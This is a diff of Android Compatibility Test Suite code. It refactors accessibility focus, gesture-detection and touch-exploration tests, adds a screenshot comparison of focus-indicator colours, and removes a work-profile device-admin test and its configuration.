--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -14,7 +14,6 @@
 
 package android.accessibilityservice.cts;
 
-import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
@@ -31,14 +30,20 @@
 import static org.junit.Assert.fail;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.accessibilityservice.cts.activities.AccessibilityFocusAndInputFocusSyncActivity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Environment;
+import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.test.suitebuilder.annotation.MediumTest;
+import android.view.Display;
 import android.view.View;
 import android.view.accessibility.AccessibilityManager;
 import android.view.accessibility.AccessibilityNodeInfo;
@@ -47,6 +52,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.BitmapUtils;
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.AfterClass;
@@ -55,6 +61,7 @@
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
 import java.util.LinkedList;
@@ -69,30 +76,50 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityFocusAndInputFocusSyncTest {
+    /**
+     * The delay time is for next UI frame rendering out.
+     */
+    private static final long SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS = 500;
+
     private static Instrumentation sInstrumentation;
     private static UiAutomation sUiAutomation;
+    private static Context sContext;
+    private static AccessibilityManager sAccessibilityManager;
+    private static int sFocusStrokeWidthDefaultValue;
+    private static int sFocusColorDefaultValue;
 
     private AccessibilityFocusAndInputFocusSyncActivity mActivity;
-    private Context mContext;
-    private AccessibilityManager mAccessibilityManager;
-    private int mFocusStrokeWidthDefaultValue;
-    private int mFocusColorDefaultValue;
 
     private ActivityTestRule<AccessibilityFocusAndInputFocusSyncActivity> mActivityRule =
             new ActivityTestRule<>(AccessibilityFocusAndInputFocusSyncActivity.class, false, false);
 
+    private InstrumentedAccessibilityServiceTestRule<StubFocusIndicatorService>
+            mFocusIndicatorServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+            StubFocusIndicatorService.class, false);
+
     private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
 
     @Rule
     public final RuleChain mRuleChain = RuleChain
             .outerRule(mActivityRule)
+            .around(mFocusIndicatorServiceRule)
             .around(mDumpOnFailureRule);
 
+    /* Test name rule that tracks the current test method under execution */
+    @Rule public TestName mTestName = new TestName();
+
     @BeforeClass
     public static void oneTimeSetup() throws Exception {
         sInstrumentation = InstrumentationRegistry.getInstrumentation();
-        sUiAutomation = sInstrumentation.getUiAutomation();
+        sUiAutomation = sInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+
+        sContext = sInstrumentation.getContext();
+        sAccessibilityManager = sContext.getSystemService(AccessibilityManager.class);
+        assertNotNull(sAccessibilityManager);
+        sFocusStrokeWidthDefaultValue = sAccessibilityManager.getAccessibilityFocusStrokeWidth();
+        sFocusColorDefaultValue = sAccessibilityManager.getAccessibilityFocusColor();
     }
 
     @AfterClass
@@ -109,12 +136,6 @@
 
         mActivity = launchActivityAndWaitForItToBeOnscreen(
                 sInstrumentation, sUiAutomation, mActivityRule);
-
-        mContext = sInstrumentation.getContext();
-        mAccessibilityManager = mContext.getSystemService(AccessibilityManager.class);
-        assertNotNull(mAccessibilityManager);
-        mFocusStrokeWidthDefaultValue = mAccessibilityManager.getAccessibilityFocusStrokeWidth();
-        mFocusColorDefaultValue = mAccessibilityManager.getAccessibilityFocusColor();
     }
 
     @MediumTest
@@ -127,7 +148,7 @@
         // Get the view that has input and accessibility focus.
         final AccessibilityNodeInfo expected = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        mContext.getString(R.string.firstEditText)).get(0);
+                        sContext.getString(R.string.firstEditText)).get(0);
         assertNotNull(expected);
         assertFalse(expected.isAccessibilityFocused());
         assertTrue(expected.isFocused());
@@ -164,7 +185,7 @@
         // Get the root linear layout info.
         final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        mContext.getString(R.string.rootLinearLayout)).get(0);
+                        sContext.getString(R.string.rootLinearLayout)).get(0);
         assertNotNull(rootLinearLayout);
         assertFalse(rootLinearLayout.isAccessibilityFocused());
 
@@ -188,7 +209,7 @@
         // Get the root linear layout info.
         final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        mContext.getString(R.string.rootLinearLayout)).get(0);
+                        sContext.getString(R.string.rootLinearLayout)).get(0);
         assertNotNull(rootLinearLayout);
 
         sUiAutomation.executeAndWaitForEvent(
@@ -223,7 +244,7 @@
         // Get the first not focused edit text.
         final AccessibilityNodeInfo firstEditText = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        mContext.getString(R.string.firstEditText)).get(0);
+                        sContext.getString(R.string.firstEditText)).get(0);
         assertNotNull(firstEditText);
         assertTrue(firstEditText.isFocusable());
         assertFalse(firstEditText.isAccessibilityFocused());
@@ -237,7 +258,7 @@
         // Get the second not focused edit text.
         final AccessibilityNodeInfo secondEditText = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByText(
-                        mContext.getString(R.string.secondEditText)).get(0);
+                        sContext.getString(R.string.secondEditText)).get(0);
         assertNotNull(secondEditText);
         assertTrue(secondEditText.isFocusable());
         assertFalse(secondEditText.isFocused());
@@ -276,7 +297,7 @@
     public void testScreenReaderFocusableAttribute_reportedToAccessibility() {
         final AccessibilityNodeInfo secondButton = sUiAutomation.getRootInActiveWindow()
                 .findAccessibilityNodeInfosByText(
-                        mContext.getString(R.string.secondButton)).get(0);
+                        sContext.getString(R.string.secondButton)).get(0);
         assertTrue("Screen reader focusability not propagated from xml to accessibility",
                 secondButton.isScreenReaderFocusable());
 
@@ -299,39 +320,122 @@
 
     @Test
     public void testSetFocusAppearanceDataAfterServiceEnabled() {
-        setFocusAppearanceDataAndCheckItCorrect();
+        final StubFocusIndicatorService service =
+                mFocusIndicatorServiceRule.enableService();
+        final int focusColor = sFocusColorDefaultValue == Color.BLUE ? Color.RED : Color.BLUE;
+
+        try {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue + 10,
+                    focusColor);
+        } finally {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+                    sFocusColorDefaultValue);
+
+            service.disableSelfAndRemove();
+        }
     }
 
     @Test
-    public void testResetFocusAppearanceDataAfterServiceDisabled() {
-        setFocusAppearanceDataAndCheckItCorrect();
-
-        // Checks if the color and the stroke values from AccessibilityManager is
-        // reset to the default value.
-        PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(mAccessibilityManager,
-                mFocusStrokeWidthDefaultValue, mFocusColorDefaultValue));
-    }
-
-    private void setFocusAppearanceDataAndCheckItCorrect() {
-        sInstrumentation
-                .getUiAutomation(UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
-        final InstrumentedAccessibilityService service =
-                enableService(InstrumentedAccessibilityService.class);
+    public void testChangeFocusColor_expectedColorIsChanged() throws Exception {
+        final StubFocusIndicatorService service =
+                mFocusIndicatorServiceRule.enableService();
 
         try {
-            final int focusStrokeWidthValue = mFocusStrokeWidthDefaultValue + 10;
-            final int focusColorValue = mFocusColorDefaultValue + 100;
+            // Get the root linear layout info.
+            final AccessibilityNodeInfo rootLinearLayout = sUiAutomation
+                    .getRootInActiveWindow().findAccessibilityNodeInfosByText(
+                            sContext.getString(R.string.rootLinearLayout)).get(0);
 
-            service.setAccessibilityFocusAppearance(focusStrokeWidthValue, focusColorValue);
-            // Checks if the color and the stroke values from AccessibilityManager is
-            // updated as in expectation.
-            PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(mAccessibilityManager,
-                    focusStrokeWidthValue, focusColorValue));
+            final Bitmap blueColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+                    rootLinearLayout, Color.BLUE);
+
+            final Bitmap redColorFocusScreenshot = screenshotAfterChangeFocusColor(service,
+                    rootLinearLayout, Color.RED);
+
+            assertTrue(isBitmapDifferent(blueColorFocusScreenshot, redColorFocusScreenshot));
         } finally {
+            setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue,
+                    sFocusColorDefaultValue);
+
             service.disableSelfAndRemove();
         }
     }
 
+    private Bitmap screenshotAfterChangeFocusColor(StubFocusIndicatorService service,
+            AccessibilityNodeInfo unAccessibilityFocusedNode, int color) throws Exception {
+        assertFalse(unAccessibilityFocusedNode.isAccessibilityFocused());
+
+        setFocusAppearanceDataAndCheckItCorrect(service, sFocusStrokeWidthDefaultValue, color);
+        sUiAutomation.executeAndWaitForEvent(
+                () -> assertTrue(unAccessibilityFocusedNode.performAction(
+                        ACTION_ACCESSIBILITY_FOCUS)),
+                filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUSED,
+                        ACTION_ACCESSIBILITY_FOCUS),
+                DEFAULT_TIMEOUT_MS);
+        Thread.sleep(SCREEN_FRAME_RENDERING_OUT_TIME_MILLIS);
+
+        final Bitmap screenshot = sUiAutomation.takeScreenshot();
+
+        sUiAutomation.executeAndWaitForEvent(
+                () -> assertTrue(unAccessibilityFocusedNode.performAction(
+                        ACTION_CLEAR_ACCESSIBILITY_FOCUS)),
+                filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+                        ACTION_CLEAR_ACCESSIBILITY_FOCUS),
+                DEFAULT_TIMEOUT_MS);
+
+        return screenshot;
+    }
+
+    private boolean isBitmapDifferent(Bitmap bitmap1, Bitmap bitmap2) {
+        final Display display = mActivity.getWindowManager().getDefaultDisplay();
+        final Point displaySize = new Point();
+        display.getRealSize(displaySize);
+
+        final int[] pixelsOne = new int[displaySize.x * displaySize.y];
+        final Bitmap bitmapOne = bitmap1.copy(Bitmap.Config.ARGB_8888, false);
+        bitmapOne.getPixels(pixelsOne, 0, displaySize.x, 0, 0, displaySize.x,
+                displaySize.y);
+
+        final int[] pixelsTwo = new int[displaySize.x * displaySize.y];
+        final Bitmap bitmapTwo = bitmap2.copy(Bitmap.Config.ARGB_8888, false);
+        bitmapTwo.getPixels(pixelsTwo, 0, displaySize.x, 0, 0, displaySize.x,
+                displaySize.y);
+
+        for (int i = pixelsOne.length - 1; i > 0; i--) {
+            if ((Color.red(pixelsOne[i]) != Color.red(pixelsTwo[i]))
+                    || (Color.green(pixelsOne[i]) != Color.green(pixelsTwo[i]))
+                    || (Color.blue(pixelsOne[i]) != Color.blue(pixelsTwo[i]))) {
+                return true;
+            }
+        }
+
+        saveFailureScreenshot(bitmap1, bitmap2);
+        return false;
+    }
+
+    private void saveFailureScreenshot(Bitmap bitmap1, Bitmap bitmap2) {
+        final String directoryName = Environment.getExternalStorageDirectory()
+                + "/" + getClass().getSimpleName();
+
+        final String fileName1 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap1",
+                SystemClock.uptimeMillis());
+        BitmapUtils.saveBitmap(bitmap1, directoryName, fileName1);
+
+        final String fileName2 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap2",
+                SystemClock.uptimeMillis());
+        BitmapUtils.saveBitmap(bitmap2, directoryName, fileName2);
+    }
+
+    private void setFocusAppearanceDataAndCheckItCorrect(StubFocusIndicatorService service,
+            int focusStrokeWidthValue, int focusColorValue) {
+        service.setAccessibilityFocusAppearance(focusStrokeWidthValue,
+                focusColorValue);
+        // Checks if the color and the stroke values from AccessibilityManager is
+        // updated as in expectation.
+        PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(sAccessibilityManager,
+                focusStrokeWidthValue, focusColorValue));
+    }
+
     private static boolean isFocusAppearanceDataUpdated(AccessibilityManager manager,
             int strokeWidth, int color) {
         return manager.getAccessibilityFocusStrokeWidth() == strokeWidth
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 488bf13..250da70 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -379,7 +379,6 @@
         // Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
         // because accessibility services read gesture events upstream from the point where
         // sendPointerSync() injects events.
-        mService.clearGestures();
         mService.runOnServiceSync(() ->
         mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
         verify(mGestureDispatchCallback, timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
index f53f126..e1bf31f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
@@ -208,7 +208,7 @@
 
     private RemoteAction getRemoteAction(String pendingIntent) {
         Intent i = new Intent(pendingIntent);
-        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, 0);
+        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RemoteAction(Icon.createWithContentUri("content://test"), "test1", "test1", p);
     }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
index fa8147a..5f6689c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
@@ -28,7 +28,7 @@
 /** Accessibility service stub, which will collect recognized gestures. */
 public class GestureDetectionStubAccessibilityService extends InstrumentedAccessibilityService {
     private static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
-    private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
+    protected static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
     // Member variables
     protected final Object mLock = new Object();
     private ArrayList<Integer> mCollectedGestures = new ArrayList();
@@ -154,18 +154,45 @@
     public void assertGestureReceived(int gestureId, int displayId) {
         // Wait for gesture recognizer, and check recognized gesture.
         waitUntilGestureInfo();
-        if(displayId == Display.DEFAULT_DISPLAY) {
-            assertEquals(1, getGesturesSize());
-            assertEquals(gestureId, getGesture(0));
+        if (displayId == Display.DEFAULT_DISPLAY) {
+            String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+            if (getGesturesSize() == 0) {
+                fail("No gesture received when expecting " + expected);
+            } else if (getGesturesSize() > 1) {
+                List<String> received = new ArrayList<>();
+                for (int i = 0; i < getGesturesSize(); ++i) {
+                    received.add(AccessibilityGestureEvent.gestureIdToString(getGesture(i)));
+                }
+                fail("Expected " + expected + " but received " + received);
+            } else {
+                String received = AccessibilityGestureEvent.gestureIdToString(getGesture(0));
+                assertEquals(expected, received);
+            }
         }
-        assertEquals(1, getGestureInfoSize());
+        String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+        if (getGestureInfoSize() == 0) {
+            fail("No gesture received when expecting " + expected);
+        } else if (getGestureInfoSize() > 1) {
+            List<String> received = new ArrayList<>();
+            for (int i = 0; i < getGesturesSize(); ++i) {
+                received.add(
+                        AccessibilityGestureEvent.gestureIdToString(
+                                getGestureInfo(i).getGestureId()));
+            }
+            fail("Expected " + expected + " but received " + received);
+        }
         AccessibilityGestureEvent expectedGestureEvent =
                 new AccessibilityGestureEvent(gestureId, displayId);
         AccessibilityGestureEvent actualGestureEvent = getGestureInfo(0);
         if (!expectedGestureEvent.toString().equals(actualGestureEvent.toString())) {
-            fail("Unexpected gesture received, "
-                    + "Received " + actualGestureEvent + ", Expected " + expectedGestureEvent);
+            fail(
+                    "Unexpected gesture received, "
+                            + "Received "
+                            + actualGestureEvent
+                            + ", Expected "
+                            + expectedGestureEvent);
         }
+        clearGestures();
     }
 
     /** Insure that the specified accessibility events have been received. */
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
new file mode 100644
index 0000000..ae903cb
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
@@ -0,0 +1,23 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+
+/**
+ * A stub accessibility service to install for testing focus indicator APIs
+ */
+public class StubFocusIndicatorService extends InstrumentedAccessibilityService {
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
index 61a1cea..826e53f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
@@ -21,19 +21,25 @@
 
 import android.view.accessibility.AccessibilityEvent;
 
+import com.android.compatibility.common.util.TestUtils;
+
 /**
  * This accessibility service stub collects all events relating to touch exploration rather than
  * just the few collected by GestureDetectionStubAccessibilityService
  */
 public class TouchExplorationStubAccessibilityService
         extends GestureDetectionStubAccessibilityService {
+
     @Override
     public void onAccessibilityEvent(AccessibilityEvent event) {
         synchronized (mLock) {
             switch (event.getEventType()) {
+                case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
+                    mCollectedEvents.add(event.getEventType());
+                    mLock.notifyAll();
+                    break;
                 case TYPE_GESTURE_DETECTION_START:
                 case TYPE_GESTURE_DETECTION_END:
-                case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
                 case TYPE_VIEW_CLICKED:
                 case TYPE_VIEW_LONG_CLICKED:
                     mCollectedEvents.add(event.getEventType());
@@ -41,4 +47,10 @@
         }
         super.onAccessibilityEvent(event);
     }
+
+    /** Wait for accessibility focus from onAccessibilityEvent(). */
+    public void waitForAccessibilityFocus() {
+        TestUtils.waitOn(mLock, () -> mCollectedEvents.contains(TYPE_VIEW_ACCESSIBILITY_FOCUSED),
+                EVENT_RECOGNIZE_TIMEOUT_MS, "waitForAccessibilityFocus");
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 75ea8fd..6580317 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -98,7 +98,6 @@
     private static final float GESTURE_LENGTH_MMS = 10.0f;
     private TouchExplorationStubAccessibilityService mService;
     private Instrumentation mInstrumentation;
-    private UiAutomation mUiAutomation;
     private boolean mHasTouchscreen;
     private boolean mScreenBigEnough;
     private long mSwipeTimeMillis;
@@ -130,9 +129,6 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mUiAutomation =
-                mInstrumentation.getUiAutomation(
-                        UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         mHasTouchscreen =
                 pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
@@ -140,6 +136,9 @@
         // Find window size, check that it is big enough for gestures.
         // Gestures will start in the center of the window, so we need enough horiz/vert space.
         mService = mServiceRule.enableService();
+        // To prevent a deadlock, we disable UiAutomation while another a11y service is running.
+        mInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES).destroy();
         mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
         WindowManager windowManager =
                 (WindowManager)
@@ -592,11 +591,11 @@
     private void syncAccessibilityFocusToInputFocus() {
         mService.runOnServiceSync(
                 () -> {
-                    mUiAutomation
-                            .getRootInActiveWindow()
-                            .findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
-                            .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+                    AccessibilityNodeInfo focus = mService.findFocus(AccessibilityNodeInfo.FOCUS_INPUT);
+                    focus.performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+                    focus.recycle();
                 });
+        mService.waitForAccessibilityFocus();
     }
 
     private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
diff --git a/tests/admin/AdminWorkProfileTest.xml b/tests/admin/AdminWorkProfileTest.xml
deleted file mode 100644
index af93ea1..0000000
--- a/tests/admin/AdminWorkProfileTest.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<configuration description="Config for CTS Device Admin test cases on a work profile">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
-         here are not applicable -->
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="install-arg" value="-t" />
-        <option name="test-file-name" value="CtsAdminApp.apk" />
-        <option name="test-file-name" value="CtsAdminTestCases.apk" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RunOnWorkProfileTargetPreparer">
-        <option name="test-package-name" value="android.admin.cts" />
-        <option name="test-package-name" value="android.admin.app" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.admin.cts" />
-        <option name="include-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
-        <!--        <option name="instrumentation-arg" key="skip-test-teardown" value="true" />-->
-    </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 169cd71..b7197a4 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -32,9 +32,6 @@
         "cts",
         "general-tests",
     ],
-    test_options: {
-        extra_test_configs: ["AdminWorkProfileTest.xml"]
-    },
     instrumentation_for: "CtsAdminApp",
     sdk_version: "test_current",
 }
diff --git a/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java b/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java
deleted file mode 100644
index 9fd923e..0000000
--- a/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.admin.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.compatibility.common.util.enterprise.DeviceState;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile;
-
-import org.junit.ClassRule;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.os.UserManager;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceAdminTempTest {
-
-    private static final Context sContext = ApplicationProvider.getApplicationContext();
-
-    @ClassRule @Rule
-    public static final DeviceState sDeviceState = new DeviceState();
-
-    @RequireRunOnWorkProfile
-    @Test
-    public void testRunningOnWorkProfile() {
-        assertThat(sContext.getSystemService(UserManager.class).isManagedProfile()).isTrue();
-    }
-}
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 5cab76e..d1085c7 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -1157,12 +1157,4 @@
         } catch(SecurityException e) {
         }
     }
-
-    public void testHasKeyPair_failIfNotOwner() {
-        if (!mDeviceAdmin) {
-            Log.w(TAG, "Skipping testHasKeyPair_failIfNotOwner(), no device_admin feature");
-            return;
-        }
-        assertThrows(SecurityException.class, () -> mDevicePolicyManager.hasKeyPair("some-alias"));
-    }
 }
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 451f8ca..25cc5ae 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -31,10 +31,12 @@
         "androidx.test.rules",
         "platform-test-annotations",
         "platformprotosnano",
-        "permission-test-util-lib"
+        "permission-test-util-lib",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
     ],
     // Tag this module as a cts test artifact
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 240607e..3e1eb6a 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -27,6 +27,7 @@
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATIONS" />
     <uses-permission android:name="android.permission.READ_PROJECTION_STATE" />
     <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
diff --git a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
index 1149e5e..ded29be 100644
--- a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
+++ b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
@@ -114,7 +114,7 @@
                     registerReceiver(mReceiver, new IntentFilter(mReceiverAction));
                     Intent intent = new Intent(mReceiverAction);
                     postNotification(notificationId,
-                            PendingIntent.getBroadcast(context, 0, intent, 0));
+                            PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
                     break;
                 }
                 case MESSAGE_SERVICE_NOTIFICATION: {
@@ -123,7 +123,7 @@
                     // trampoline) in this case.
                     Intent intent = new Intent(context, NotificationTrampolineTestService.class);
                     postNotification(notificationId,
-                            PendingIntent.getService(context, 0, intent, 0));
+                            PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
                     break;
                 }
                 default:
diff --git a/tests/app/app/Android.bp b/tests/app/app/Android.bp
index 19e3fcc..c1fcf7f 100644
--- a/tests/app/app/Android.bp
+++ b/tests/app/app/Android.bp
@@ -29,9 +29,12 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "testng",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
